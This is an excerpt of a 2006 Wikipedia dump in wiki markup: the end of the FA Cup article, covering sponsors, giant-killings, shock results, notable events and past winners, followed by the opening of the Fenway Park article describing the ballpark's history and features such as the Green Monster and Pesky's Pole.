From the 2006/2007 season it will formally be known as &quot;The FA Cup sponsored by [[E.ON]]&quot; after the German energy company signed a 4 year sponsorship deal &lt;sup&gt;[http://home.skysports.com/list.asp?hlid=359925&amp;CPID=1&amp;clid=&amp;lid=2&amp;title=New+sponsor+for+FA+Cup]&lt;/sup&gt;.

*1994-95 to 1997-98 [[Littlewoods]]
*1998-99 to 2001-02 [[AXA]]
*2002-03 to 2005-06 The FA Partners: [[Carlsberg]], [[McDonald's]], [[Nationwide Building Society|Nationwide]], [[Pepsi-Cola|Pepsi]],  [[Umbro]]
*2006-07 to 2009-10 [[E.ON]]

==Giant-Killers==
The FA Cup has a long tradition of lower-division and non-league teams becoming &quot;giant-killers&quot; by defeating highly-ranked opponents. There are various famous giant killing feats, and every club will remember their own successes. However, the most famous results are arguably those of:
*[[Yeovil Town F.C.|Yeovil Town]] in 1948-49, who reached the fifth round while in the [[Southern League (football)|Southern League]]. In latter years they defeated League opposition many other times, before winning promotion to the Football League in 2003.
*[[A.F.C. Bournemouth|Bournemouth and Boscombe Athletic]] who beat [[Wolverhampton Wanderers F.C.|Wolves]] and [[Tottenham Hotspur F.C.|Tottenham Hotspur]] in 1957, before losing to [[Manchester United F.C.|Manchester United]] in a closely fought quarter-final match.
*[[Hereford United F.C.|Hereford United]] in 1972, who famously defeated [[Newcastle United F.C.|Newcastle United]].
*[[Wrexham A.F.C.|Wrexham]] in 1992, when they defeated the league champions [[Arsenal F.C.|Arsenal]] in the Third Round, Wrexham having finished bottom of the [[Football League]] the previous season.
*[[Wycombe Wanderers F.C.|Wycombe Wanderers]] in 2001, when they famously reached the semi-finals while still in the [[Football League Second Division|Second Division]] (today's League One), beating such sides as then [[FA Premier League|Premiership]] club [[Leicester City F.C.|Leicester City]], before crashing out in the semi-finals after a 2-1 loss to eventual champions [[Liverpool F.C.|Liverpool]].
*Kidderminster Harriers were the last non-league team to reach the 5th Round of the FA Cup. They defeated Birmingham City and Preston North End before eventually falling to Premiership side West Ham United by the narrow margin of 1-0 infront of nearly 8,000 at Aggborough.

===Famous Shock Results===
*Cardiff City 2 Oldham Athletic 0 (1919-1920, Round 1)
*Walsall 2 Arsenal 0 (1932-1933, Round 3)
*Colchester United 1 Hudderfield Town 0 (1947-1948, Round 3)
*Colchester United 3 Bradford City 2 (1947-1948, Round 4)
*Yeovil Town 2 Sunderland 1 aet (1948-1949, Round 4)
*Worcester City 2 Liverpool 1 (1950-1951, Round 3)
*Everton 1 Leyton Orient 3 (1951-1952, Round 3 replay)
*Birmingham City 0 Leyton Orient 1 (1951-1952, Round 4) 
*Arsenal 1 Norwich City 2 (1953-1954, Round 4)
*Wolverhampton Wanderers 0 Bournemouth 1 (1956-1957, Round 3)
*Bournemouth 3 Tottenham Hotspur 1 (1956-1957, Round 4)
*Oldham Athletic 1 South Shields 2 (1969-1970, Round 1)
*Colchester United 3 Leeds United 2 (1970-1971, Round 5)
*Hereford United 2 Newcastle United 1 (1971-1972, Round 3 replay)
*Sunderland 1 Leeds United 0 (1972-1973, Final)
*Burnley 0 Wimbledon 1 (1974-1975, Round 3)
*Southampton 1 Manchester United 0 (1975-1976, Final)
*Blyth Spartans 3 Stoke City 2 (1977-1978, Round 3)
*Bournemouth 2 Manchester United 0 (1983-1984, Round 3)
*Brighton &amp; Hove Albion 2 Liverpool 0 (1983-1984, Round 4)
*York City 1 Arsenal 0 (1984-1985, Round 4)
*Birmingham City 1 Altrincham 2 (1985-1986, Round 3)
*Tottenham Hotspur 2 Coventry City 3 (1986-1987, Final)
*Wimbledon 1 Liverpool 0 (1987-1988, Final)
*Middlesbrough 1 Grimsby Town 2 (1988-1989, Round 3)
*Sutton United 2 Coventry City 1 (1988-1989, Round 3)
*Oldham Athletic 2 Everton 1 (1989-1990, Round 5)
*Oldham Athletic 3 Aston Villa 0 (1989-1990, Quarter-Final)
*Wrexham 2 Arsenal 1 (1991-1992, Round 3)
*Liverpool 0 Bolton Wanderers 2 (1992-1993, Round 3 replay)
*Liverpool 0 Bristol City 1 (1993-1994, Round 3 replay)
*Stockport County 2 Queens Park Rangers 1 (1993-1994, Round 3)
*Birmingham City 1 Kidderminster Harriers 2 (1993-1994, Round 3)
*Kidderminster Harriers 1 Preston North End 0 (1993-1994, Round 4)
*Barnsley 3 Manchester United 2 (1997-1998, Round 5 replay)
*Leicester City 1 Wycombe Wanderers 2 (2000-2001, Quarter-Final)
*Cardiff City 2 Leeds United 1 (2001-2002, Round 3)
*Shrewsbury Town 2 Everton 1 (2002-2003, Round 3)
*Liverpool 0 Crystal Palace 2 (2002-2003, Round 4 replay)
*Oldham Athletic 1 Manchester City 0 (2004-05, Round 3)
*Burscough 3 Gillingham 2 (2005-2006, Round 1)
*Fulham 1 Leyton Orient 2 (2005-2006, Round 3)
*Brentford 2 Sunderland 1 (2005-2006, Round 4)

==Notable events in the FA Cup==

*On [[July 20]], [[1871]], [[C. W. Alcock]] proposed that 'a Challenge Cup should be established in connection with [[the Football Association|the Association]]', giving birth to the FA Cup.
*On [[March 16]], [[1872]], [[Wanderers F.C.|Wanderers]] became the first winners of the FA Cup, beating [[Royal Engineers A.F.C.|Royal Engineers]] 1-0 at [[The Oval]]. Only 15 clubs enter, 12 play and there are 13 games in total.
*In [[1873]], for the first and only time the competition lives up to the name ''Challenge Cup''. The Wanderers beat Oxford University in a one off challenge match to retain the Cup. The rules change for the following season.
*The record score in an FA Cup tie was set in [[1887]] when [[Preston North End F.C.|Preston North End]] defeated [[Hyde United F.C.|Hyde United]] 26-0.
*[[William Townley]] scores the first hattrick the history of the FA Cup final in the match between [[Blackburn Rovers]] and [[Sheffield Wednesday]] (6-1)
* In 1901 [[Tottenham Hotspur]] became the only non-League team to win the FA Cup with a 3-1 replay victory over [[Sheffield United F.C.|Sheffield United]]. 
*In [[1903]] [[Bury F.C.|Bury]] defeated [[Derby County F.C.|Derby County]] 6-0, in what is still the highest score in an FA Cup final.
*In [[1914]], [[George V]] became the first monarch to watch the FA Cup Final between [[Burnley F.C.|Burnley]] and [[Liverpool F.C.|Liverpool]] in the last cup final played at [[Crystal Palace]].
*In [[1915]] [[Sheffield United F.C.|Sheffield United]] beat [[Chelsea F.C.|Chelsea]] 3-0 at [[Old Trafford]], to win a Final often refered to as &quot;The Khaki Cup final&quot;,
*In [[1922]], [[England national amateur football team|England amateur]] international [[Wilfred Minter]] scores 7 goals for [[St Albans City F.C.|St Albans City]] against [[Dulwich Hamlet F.C.|Dulwich Hamlet]]. Dulwich win 8-7.
*In [[1923]] the first FA Cup final was played at Wembley, and saw [[West Ham United]] lose to [[Bolton Wanderers]].  The match drew an over-capacity crowd of more than 200,000 and was played with spectators lining the edge of the pitch. Spectators spilled onto the field, but were moved back by [[mounted police]]men, resulting in the final being nicknamed the &quot;[[White Horse Final]]&quot; 
* The 1927 final resulted in a [[Cardiff City F.C.|Cardiff City]] victory over [[Arsenal F.C.|Arsenal]]. To the present day, Cardiff City are the only non-English based team to win the trophy.
* The [[1945-46 in English football|1945-1946]] FA Cup was the first played since the competition was suspended during [[World War II]]. As the intermediate [[Football League North and South|Football League North and Football League South]] were of variable quality, to boost clubs' income each tie was played over two legs (one home, one away with the scores being added together to decide who went through) to increase the number of matches in the season. Matches that were level at the end of both legs were replayed at the stadium of whichever team had played the second leg away. The semi-finals and final (both played at neutral venues) remained single match affairs.
* The final of [[1953]] is known as the [[Matthews Final]]. The match between [[Blackpool F.C.|Blackpool]] and [[Bolton Wanderers F.C.|Bolton Wanderers]] saw [[Stanley Matthews]], at the age of 38, in his third attempt to win an FA cup winners medal for Blackpool. Bolton were 3-1 up with 22 minutes remaining and looked set to win the match when Blackpool's [[Stan Mortensen]] scored from a Matthews cross. With less than five minutes remaining Blackpool equalised from a Mortensen free kick and shortly after the restart, with everybody anticipating extra time, Matthews passed to [[Bill Perry]] who put the ball in the back of the net securing a 4-3 victory for Blackpool.
* The final of [[1956]] saw Manchester City win 3-1 against Birmingham City. Roughly 15 minutes before the end of the game, Man City's goalkeeper [[Bert Trautmann]] (a German who had been taken as a [[prisoner of war]] by the British in [[1945]]) injured his neck when he made a save at the feet of Birmingham's Peter Murphy. Despite being in terrible pain he continued to play till the end of match and collected his winners' medal still clutching his neck. An [[x-ray]] later revealed that he had broken his neck.
* [[1956]]-57 also the record for highest number of rounds played in set, when former League club [[New Brighton F.C.|New Brighton]] played in nine rounds. They started in the preliminary round, and progressed through four qualifying rounds to the fourth round proper, where they lost to [[Burnley F.C.|Burnley]]. They had just one replay - for their first round tie.
*[[1958]] saw Leeds United beaten 2-1 at home to Cardiff City in the third round for the third consecutive year.
*[[1961]] saw [[Tottenham Hotspur]] become the first club in the 20th century to win the FA cup and league championship in the same season, known famously as the double.
* In [[1967]] the first substitutes were allowed after many years of finals proving unbalanced due to injuries which forced players into leaving the field early. Players had suffered broken bones in the [[1957]], [[1959]], [[1960]], [[1961]] and [[1965]] finals.
* [[1970]] saw the first Wembley final to go to a replay. The replayed final was played at [[Old Trafford (football)|Old Trafford]] and contested between Chelsea and Leeds United.  It was the last final to be played outside of Wembley before it was moved to the Millennium Stadium in 2001. 
* [[1971]] saw the longest tie in Cup history. [[Oxford City F.C.|Oxford City]] and [[Alvechurch F.C.|Alvechurch]] play 6 games for a total of 660 minutes. Alvechurch won the final game 1-0 to progress to the first round proper.
* In [[1972]] the FA Cup celebrated its 100th birthday (though not its 100th season, due to interruptions for the two world wars). [[Leeds United F.C.|Leeds United]] won the final against holders [[Arsenal F.C.|Arsenal]].
* In [[1973]], [[Sunderland A.F.C.]] created the biggest ever upset in a final when they beat holders Leeds United 1-0. At that time, Leeds were one of Europe's best club sides, whereas Sunderland had been struggling in the [[Football League Second Division|Second Division]]. The goal was scored by [[Ian Porterfield]], but the incredible double save by Sunderland goalkeeper [[Jimmy Montgomery]] is probably even better remembered.
* The [[1973]]-74 compitition saw the record set for the highest number of games played by one club. [[Bideford F.C|Bideford]] played 13 games over five rounds: one for the 1st qualifying round, two for the 2nd qualifying round, five for the 3rd qualifying round, four for the 4th qualifying round, and one for the 1st round proper. Multiple replays no longer take place, so this record is unlikely to be beaten.
* The [[1977]]-78 competition saw [[New Brighton A.F.C.|New Brighton's]] 1956-57 nine-round record equalled by [[Blyth Spartans F.C.|Blyth Spartans]], who progressed from the 1st qualifying round to the 5th round proper. The games for the 2nd qualifying round and the 5th rounds proper went to a replay.
* The [[1979]]-80 competition saw the nine-round record equalled by [[Harlow Town F.C.|Harlow Town]], who progressed from the Preliminary round through four qualifying rounds to the fourth round proper, where they lost to [[Watford F.C.|Watford]]. The matches for the 2nd and the 3rd rounds went to a replay.
* In [[1980]], [[West Ham United F.C.|West Ham United]] became the last side to date to win the competition from outside the top division in football. They were a [[Football League Second Division|Second Division]] outfit when they beat holders Arsenal 1-0 thanks to a goal by [[Trevor Brooking]]. Three clubs - [[Queens Park Rangers F.C.|Queens Park Rangers]] in [[1982]], Sunderland in [[1992]] and [[Millwall F.C.|Millwall]] in [[2004]] - have since reached the final, though all three lost.
* In [[1983]] [[Norman Whiteside]], at 18, became the youngest player ever to score in an FA Cup final, whilst playing for Manchester United against Brighton and Hove Albion. As of [[2005]] this record remains unbroken.
* In [[1984]], [[Johnny Hore]]'s [[Plymouth Argyle F.C.|Plymouth Argyle]] side narrowly missed out on being the first [[Football League Third Division|Third Division]] side to reach the final. In a tense semi-final at [[Villa Park, England|Villa Park]], [[Watford F.C.|Watford]] came out on top, 1-0 victors. Starting in the first round proper, Argyle had beaten [[Southend United F.C.|Southend United]] (on a replay), [[Barking F.C.|Barking]], [[Newport County F.C.|Newport County]] (on a replay), [[West Bromwich Albion F.C.|West Bromwich Albion]] and [[Derby County F.C.|Derby County]] (on a replay).
* In [[1985]], [[Kevin Moran]] of [[Manchester United F.C.|Manchester United]] became the first player to be sent off in an FA Cup Final.
* In [[1988]] underdogs [[Wimbledon F.C.|Wimbledon]] beat [[Liverpool F.C.|Liverpool]] 1-0 to cause an upset, [[Lawrie Sanchez]] scoring a 37th minute header for the Dons from a [[Dennis Wise]] free kick. Wimbledon goalkeeper [[Dave Beasant]] saved a 61st minute [[John Aldridge]] penalty in the second half, becoming the first [[goalkeeper]] to do so in an FA Cup final. He was also the first goalkeeper to captain a team to FA Cup success.
* In [[1989]] during the opening minutes of the FA Cup semi-final between [[Liverpool F.C.|Liverpool]] and [[Nottingham Forest F.C.|Nottingham Forest]], 96 people were crushed to death because of overcrowding. See the [[Hillsborough disaster]].
* In [[1991]], after the [[Arsenal F.C.|Arsenal]] vs [[Leeds United F.C.|Leeds United]] third round tie went to a third replay, the FA decided that one replay, they extra time, then a penalty shootout would be a suitable alternative to a fixtures backlog.
* In [[1993]], the final between [[Arsenal F.C.|Arsenal]] and [[Sheffield Wednesday F.C.|Sheffield Wednesday]] went to a replay and then extra time.  The FA decided that important neutral venue ties from then on, such as the semi-final and final, should be decided &quot;on the day&quot;.
*In [[1997]] Division Two (or level three) side [[Chesterfield F.C.|Chesterfield]] narrowly and controversially missed out on becoming the first side from outside the top two divisions to reach an FA Cup final, having led 2-0 against 10-man [[Middlesbrough F.C.|Middlesbrough]]. With the score at 2-1, a shot hit the bar and went over the line but was disallowed by referee David Elleray. The Spireites instead were pegged back to 2-2. Extra time ended 3-3 but Middlesbrough won the replay convincingly to meet [[Chelsea F.C.|Chelsea]] in the final at Wembley.
*In 1997, [[Ruud Gullit]] became the first overseas manager to win the FA Cup, as his Chelsea side beat Middlesbrough 2-0.
*Also in 1997, the fastest ever goal in a Wembley FA Cup final was scored by Chelsea's [[Roberto di Matteo]] after 43 seconds.
* [[2000]] was the last final to be played at the old Wembley stadium. Chelsea beat [[Aston Villa F.C.|Aston Villa]] 1-0.
* The first FA Cup final played outside of England was in the final of the [[2000]]/[[2001]] season at the [[Millennium Stadium]] in [[Cardiff]]. Liverpool came from behind to snatch a 2-1 victory over [[Arsenal F.C.|Arsenal]]. Arsenal went back to Wales the following two seasons to win the Cup.
* For the first time, the FA Cup was played under a roof in the final of the [[2002]]/[[2003]] season, held on [[May 17]], 2003 at the [[Millennium Stadium]] in [[Cardiff]], with [[Arsenal F.C.|Arsenal]] and [[Southampton F.C.|Southampton]] benefitting from cover from the rain (Arsenal were the 1 - 0 winners).
* That same year, [[Team Bath F.C.|Team Bath]] (from the [[University of Bath]]) became the first university team to enter the competition since [[Gonville &amp; Caius A.F.C.|Gonville &amp; Caius]] in [[1881]], and progressed through the qualifying rounds before being knocked out in the first round proper by [[Mansfield Town F.C.|Mansfield Town]].
* In [[2003]] [[Tony Roberts]] became the first [[goalkeeper]] to score in a FA Cup fixture.
* In [[2004]] [[Roy Keane]] of [[Manchester United F.C.|Manchester United]] became the first player to play in six finals since the [[19th century]], and [[Curtis Weston]] of [[Millwall F.C.]] became the youngest ever player to play in the final at the age of 17 years and 119 days, beating the record of [[James F. M. Prinsep|James Prinsep]] of [[Clapham Rovers F.C.|Clapham Rovers]] set as long back as the 1879 final.
* In [[2004]], [[Yeading F.C.|Yeading]] from the [[Isthmian League Premier Division|Isthmian Premiership]] were drawn at home against [[FA Premier League|FA Premiership]] side [[Newcastle United F.C.|Newcastle United]]. This marked the first time two teams six divisions apart had faced each other in the cup. Newcastle won the match 2-0.
* The [[2005]] FA Cup Final between [[Manchester United F.C.|Manchester United]] and [[Arsenal F.C.|Arsenal]] was the first final ever to have to go to [[kicks from the penalty mark|penalties]]. After ordinary time and extra time, the score was still 0-0. Arsenal won the shootout &amp;ndash; and thus the Cup &amp;ndash; 5-4.
* During the [[2005]] final, [[José Antonio Reyes]] became the second man to ever be sent off in an FA Cup Final, when he was dismissed for a second yellow card at the end of extra time. Roy Keane extended his own record by appearing in his seventh final.

==Past Winners of the FA Cup== 

:''For the full results of all FA Cup finals, see [[FA Cup Final]]''

[[Manchester United F.C.|Manchester United]] have won the cup the most times - eleven in all. 

The top 10 clubs by number of wins (and when they last won and lost a final):

{| border=&quot;1&quot; cellpadding=&quot;2&quot; style=&quot;border-collapse: collapse;&quot;
!style=&quot;background:silver;&quot;|
!style=&quot;background:silver;&quot;|Club
!style=&quot;background:silver;&quot;|Winner
!style=&quot;background:silver;&quot;|Last win
!style=&quot;background:silver;&quot;|Runner-up
!style=&quot;background:silver;&quot;|Last losing final
|-
|1||[[Manchester United F.C.|Manchester United]]||11||2004||6||2005
|-
|2||[[Arsenal F.C.|Arsenal]]||10||2005||7||2001
|-
|3||[[Tottenham Hotspur F.C.|Tottenham Hotspur]]||8||1991||1||1987
|-
|4||[[Aston Villa F.C.|Aston Villa]]||7||1957||3||2000
|-
|5||[[Blackburn Rovers F.C.|Blackburn Rovers]]||6||1928||2||1960
|-
|=||[[Liverpool F.C.|Liverpool]]||6||2001||6||1996
|-
|=||[[Newcastle United F.C.|Newcastle United]]||6||1955||7||1999
|-
|8||[[Everton F.C.|Everton]]||5||1995||7||1989
|-
|=||[[Wanderers F.C.]]||5||1878||0||N/A
|-
|=||[[West Bromwich Albion F.C.|West Bromwich Albion]]||5||1968||5||1935
|}

Clubs with up to 4 wins:
*4 wins: [[Bolton Wanderers F.C.|Bolton Wanderers]], [[Manchester City F.C.|Manchester City]], [[Sheffield United F.C.|Sheffield United]], [[Wolverhampton Wanderers F.C.|Wolverhampton Wanderers]]
*3 wins: [[Chelsea F.C.|Chelsea]], [[Sheffield Wednesday F.C.|Sheffield Wednesday]], [[West Ham United F.C.|West Ham United]]
*2 wins: [[Bury F.C.|Bury]], [[Nottingham Forest F.C.|Nottingham Forest]], [[Old Etonians F.C.|Old Etonians]], [[Preston North End F.C.|Preston North End]], [[Sunderland A.F.C.|Sunderland]]
*1 win: [[Barnsley F.C.|Barnsley]], [[Blackburn Olympic F.C.|Blackburn Olympic]], [[Blackpool F.C.|Blackpool]], [[Bradford City A.F.C.|Bradford City]], [[Burnley F.C.|Burnley]], [[Cardiff City F.C.|Cardiff City]], [[Charlton Athletic F.C.|Charlton Athletic]], [[Clapham Rovers F.C.|Clapham Rovers]], [[Coventry City F.C.|Coventry City]], [[Derby County F.C.|Derby County]], [[Huddersfield Town A.F.C.|Huddersfield Town]], [[Ipswich Town F.C.|Ipswich Town]], [[Leeds United F.C.|Leeds United]], [[Notts County F.C.|Notts County]], [[Old Carthusians F.C.|Old Carthusians]], [[Oxford University A.F.C.|Oxford University]], [[Portsmouth F.C.|Portsmouth]], [[Royal Engineers A.F.C.|Royal Engineers]], [[Southampton F.C.|Southampton]], [[Wimbledon F.C.|Wimbledon]]

Three clubs have won consecutive FA Cups on more than one occasion: [[Wanderers F.C.|Wanderers]] (1872, 1873) and (1876, 1877, 1878), [[Blackburn Rovers F.C.|Blackburn Rovers]] (1884, 1885, 1886) and (1890, 1891), and [[Tottenham Hotspur F.C.|Tottenham Hotspur]] (1961, 1962) and (1981, 1982).

Six clubs have won the FA Cup as part of a [[The Double|League and Cup double]], these are [[Preston North End F.C.|Preston North End]] (1889), [[Aston Villa F.C.|Aston Villa]] (1897), [[Tottenham Hotspur F.C.]] (1961), [[Arsenal F.C.|Arsenal]] (1971, 1998, 2002), [[Liverpool F.C.|Liverpool]] (1986) and [[Manchester United F.C.|Manchester United]] (1994, 1996, 1999). Arsenal and Manchester United share the record of three doubles. Arsenal are the only club to win doubles in distinct decades, and have in fact won in three different decades.

In [[1999]], Manchester United added the [[UEFA Champions League|Champions League]] crown to its double, an accomplishment known as ''[[The Treble]]''.

In [[2001]], Liverpool did not win the league, but won the [[League Cup]] and [[UEFA Cup]] to complete a different treble. They also won the [[FA Community Shield|FA Charity Shield]] and the [[European Super Cup]] in 2001, at the start of the following season.

[[Leicester City F.C.|Leicester City]] hold the unfortunate record of having appeared in four FA Cup finals without ever winning the cup.

[[Kettering Town F.C.|Kettering Town]] have scored the most goals in FA Cup history, having scored 803 goals between 1879 and 2005. (up to [[12 October]] [[2005]]) with Ollie Burgess scoring the 800th goal against [[St Albans City F.C.|St Albans City]] on [[11 October]] [[2005]]

==External links==

*[http://www.thefa.com/TheFACup/TheFACup/ The FA Cup] - official Football Association site
*[http://www.fattorini.co.uk Thomas Fattorini Ltd. makers of the 1911 FA Cup] - manufacturers of the 1911 FA Cup and other sporting trophys
*[http://news.bbc.co.uk/sport1/hi/football/fa_cup/4151177.stm FA Cup going under the hammer] - BBC News story on the sale of the second trophy

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  <page>
    <title>Fenway Park</title>
    <id>11238</id>
    <revision>
      <id>42113982</id>
      <timestamp>2006-03-03T22:36:09Z</timestamp>
      <contributor>
        <username>Hailey C. Shannon</username>
        <id>174237</id>
      </contributor>
      <text xml:space="preserve">{{Infobox_Baseball_Stadium |
  stadium_name      = Fenway Park |
  nickname          = |
  image             = [[Image:Fenway.jpg|310px|Fenway Park]] |
  location          = 4 Yawkey Way&lt;br&gt;[[Boston, Massachusetts]] 02215 |
  broke_ground      = [[1911]] |
  opened            = [[April 20]], [[1912]] |
  closed            = |
  demolished        = |
  owner             = Boston Red Sox |
  operator          = |
  surface           = Grass |
  construction_cost = $650,000 [[United States dollar|USD]] |
  architect         = Osborn Engineering |
  former_names      = |
  tenants           = [[Boston Red Sox]] ([[Major League Baseball|MLB]]) ([[1912]]-present) &lt;br&gt; [[Boston Redskins]] ([[National Football League|NFL]]) ([[1933]]-[[1936]]) &lt;br&gt; [[Boston Yanks]] ([[National Football League|NFL]]) ([[1944]]-[[1948]]) &lt;br&gt; [[Boston Patriots]] ([[American Football League|AFL]]) ([[1963]]-[[1967]]) |

  seating_capacity  = 35,000 ([[1912]]) 34,824 ([[1953]]) 33,524 ([[1965]]) &lt;br&gt; 33,513 ([[1977]]) 34,182 ([[1989]]) 34,218 ([[1993]])&lt;br&gt; 33,557 ([[2001]] day) 33,993 ([[2001]] night) 33,871 ([[2003]])&lt;br&gt; 36,298 ([[2004]]) 38,805 ([[2006]])|

  dimensions        = Left Field Line - 310 ft (94.5 m) &lt;br&gt; Left-Center (deep) - 379 ft (115.5 m) &lt;br&gt; Center Field - 389 ft 9 in (118.8 m) &lt;br&gt; Right-Center (deep) - 420 ft (128 m) &lt;br&gt; Right Field &quot;Average&quot; - 380 ft (115.8 m) &lt;br&gt; Right Field Line - 302 ft (92 m) &lt;br&gt; Backstop - 60 ft (18 m)
}}

'''Fenway Park''' is the home [[stadium|ballpark]] for the [[Boston Red Sox]] [[baseball]] club.  It is located near, and named for, the [[Fenway-Kenmore|Fenway neighborhood]] in the heart of [[Boston, Massachusetts|Boston]], [[Massachusetts]], USA, which in turn is named for the nearby [[Back Bay Fens|fens]], or marshes.  It opened on [[April 20]], [[1912 in sports|1912]], the same day as the now-abandoned [[Tiger Stadium]] in [[Detroit, Michigan|Detroit]].  This makes it the oldest ballpark still in active use in [[Major League Baseball]]. Fenway hosted the 1946 and 1999 MLB All-Star games, as well as the second of two summer classics in 1961.

==Features of the park==
Historically, Fenway Park has been decidedly unfriendly to left-handed pitchers. [[Babe Ruth]] is one of the few [[southpaw]] hurlers who found success there. Ruth started his career as a pitcher (mostly during the &quot;[[dead-ball era]]&quot;,) and had a career record of 92 wins, 44 losses.  Ruth also set a [[World Series]] record by pitching 29 2/3 scoreless innings, a record that lasted until broken by [[Whitey Ford]] of the [[New York Yankees]] in [[1961]].

Fenway Park is one of the few remaining classic parks in major league baseball to have a significant number of obstructed view seats.  These are sold as such, and are a reminder of an era of less commercially-driven ballparks.  

===&quot;The Green Monster&quot;===
The stadium is most famous for the left field wall called &quot;[[Green Monster (Fenway Park)|Green Monster]]&quot;.  Constructed in [[1934]], the 37-foot (11.3 m) high wall is 240 feet long, has a 22-foot deep foundation, and was constructed from 30,000 pounds of Toncan [[iron]]. Previously, a 23-1/2-foot tall screen protected cars and pedestrians on Lansdowne Street.  However, the screen was replaced with more seating atop the Green Monster (in an attempt to fit as many seats as possible in Fenway).

The wall measures only 310 feet (94.5 m) from home plate down the left field line (''See [[Fenway Park#&lt;nowiki&gt;&quot;&lt;/nowiki&gt;Duffy’s Cliff&lt;nowiki&gt;&quot;&lt;/nowiki&gt;|Duffy's Cliff]]'').  See comments below about the original measurement.

During the [[1934]] remodeling, the left-field scoreboard was added, and is one of two remaining original manual scoreboards in professional baseball (the other being at [[Wrigley Field]] in [[Chicago, Illinois]]).  Running vertically down the scoreboard, between the columns of out-of-town scores, are the initials &quot;TAY&quot; and &quot;JRY&quot; displayed in [[Morse code]]; a memorial to former Red Sox owners [[Tom Yawkey|Thomas A. Yawkey]] and [[Jean R. Yawkey]].

In [[1947]], advertisements covering the left field wall were painted over using green paint, which gave rise to the &quot;Green Monster&quot; moniker. Prior advertisements were: the Calvert Brewery's owl mascot (''&quot;Be Wise&quot;'',) Gem razor blades (''&quot;Avoid 5 O'Clock Shadow&quot;'',) Lifebuoy soap (''&quot;The Red Sox Use It!&quot;'',) and Vimms vitamins (''&quot;Get that Vimms Feeling!&quot;'')

In [[1975]], the wall was remodeled and an electronic scoreboard installed, and manual scoreboard changed to only show out-of-town scores from other [[American League]] games.  In [[1976]], the tin panels in the wall were replaced by a [[Formica]]-type panel which resulted in more consistent caroms and less noise when balls hit the wall.  In [[2003]], [[National League]] scores returned; American League East division standings were first displayed in [[2005]]. Additionally, advertisements returned to the Green Monster, most notably for [[Volvo]] and [[W.B. Mason]].

===&quot;The Triangle&quot;===
&quot;The Triangle&quot; is a region of center field where the walls form a triangle 420 feet (128 m) from home plate. That deep right-center point is conventionally given as the center field distance.

===&quot;Williamsburg&quot;===
&quot;Williamsburg&quot;, dubbed by sportswriters, is the bullpens built in front of the right-center field bleachers in 1940 for the benefit of [[Ted Williams]]. The name parodied [[Yankee Stadium]]'s right field area that was often called &quot;[[Babe Ruth|Ruthville]]&quot;.

===The Lone Red Seat===
The lone red seat in the right field bleachers (Section 42, Row 37, Seat 21), signifies the spot where the longest measurable home run ever hit inside Fenway Park landed. [[Ted Williams]] hit the [[home run]] on [[June 9]], [[1946]] off [[Fred Hutchinson]] of the [[Detroit Tigers]]. Williams' bomb was officially measured at 502 feet (153 m) -- well beyond &quot;Williamsburg.&quot;  Tour guides at Fenway Park claim that the man sitting in the seat was a fan of the opposing team -- and did not see the ball coming.  As a result, he was hit in the face.  Supposedly, the next morning, a Boston paper ran the headline &quot;Bullseye!&quot; Since the lone red seat out in right field has been dedicated to [[Ted Williams]], it has never been sold as a seat for a [[Red Sox]] game.

===&quot;The Belly&quot; === 

&quot;The Belly&quot;, is the sweeping curve of the box-seat railing from the right end of &quot;Williamsburg&quot; around to the right field corner. The box seats were added when the bullpens were built, and they cut the [[1934]] remodeling's right field line distance by some 30 feet.

===&quot;Pesky's Pole&quot;===
[[Pesky's Pole]] is the name for the pole on the right field foul line.  The pole was named after [[Johnny Pesky]], a light-hitting shortstop for the Red Sox, who hit some of his six home runs at Fenway Park around the pole and off the pole (a mere 302 feet from home plate). Pesky and the Red Sox attribute pitcher [[Mel Parnell]] with coining the name.  The most notable for Pesky is a two-run homer in the eighth inning of the 1946 Opening Day game to win the game.  (In his career, Pesky hit 17 home runs.)  In similar fashion, [[Mark Bellhorn]] hit what proved to be the game-winning home run in Game 1 of the [[2004 World Series]] off that pole's screen.

===&quot;Pudge’s Pole&quot;===
Carleton (Pudge) Fisk’s Foul Pole is the official name for the pole on the left field foul line atop &quot;The Green Monster&quot;.  In a ceremony before the Boston Red Sox's [[2005]] [[Interleague play|interleague]] game against the [[Cincinnati Reds]], the pole was named in honor of [[catcher]] [[Carlton Fisk]], who provided one of baseball's most enduring moments in Game 6 of the [[1975 World Series]] against the Reds.  Fisk also received an honorary [[World Series]] ring from the 2004 season during the ceremony. Facing Reds right-hander Pat Darcy in the 12th inning with the score knotted 6-6, Fisk launched a pitch down the left field line.  It appeared to be heading foul, but Fisk, after initially appearing unsure of whether or not to continue running to first base, famously jumped and waved his arms as if to somehow will the ball fair.  It ricocheted off the foul pole, winning the game for the Red Sox and sending the series to a seventh and deciding game the next night, which was won by Cincinnati.

===&quot;Duffy's Cliff&quot;===
From [[1912]] to [[1933]], there was a 10-foot (3 m)-high mound that formed an incline in front of the left field wall at Fenway park, extending from the left-field foul pole to the center field flag pole. As a result of the mound, a left fielder in Fenway Park had to play part of the territory running uphill (and back down). Boston's first star left fielder, [[Duffy Lewis]], mastered the skill so well that the area became known as &quot;Duffy's Cliff&quot;.

The mound served two purposes: 1) it was a support for a high wall; and 2) it was built to compensate for the difference in grades between the field and the street on the other side of that wall. It also served as a spectator-friendly seating area during the dead-ball era when overflow crowds would sit on the mound behind ropes.  It is often compared to the infamous left field &quot;terrace&quot; at [[Cincinnati, Ohio|Cincinnati's]] [[Crosley Field]], but, in truth, the 15-degree all-grass incline there served an entirely different purpose: as an alternative to an all dirt warning track found in most other ballparks.  It was a natural feature of the site on which Crosley Field and its predecessors were located; slightly less severe inclines were deliberately built in center and right fields to compensate.

As part of the [[1934]] remodeling of the ballpark, the bleachers and the wall itself, Red Sox owner [[Tom Yawkey]] arranged to flatten the ground along the base of the wall, so that Duffy's Cliff no longer existed, and thus became part of the lore of Fenway Park. Thus the base of the left field wall is several feet below the grade level of Lansdowne Street, accounting for the occasional rat that might spook the scoreboard operators. (''&quot;The Fenway Project&quot;'', ISBN 1579400914.)

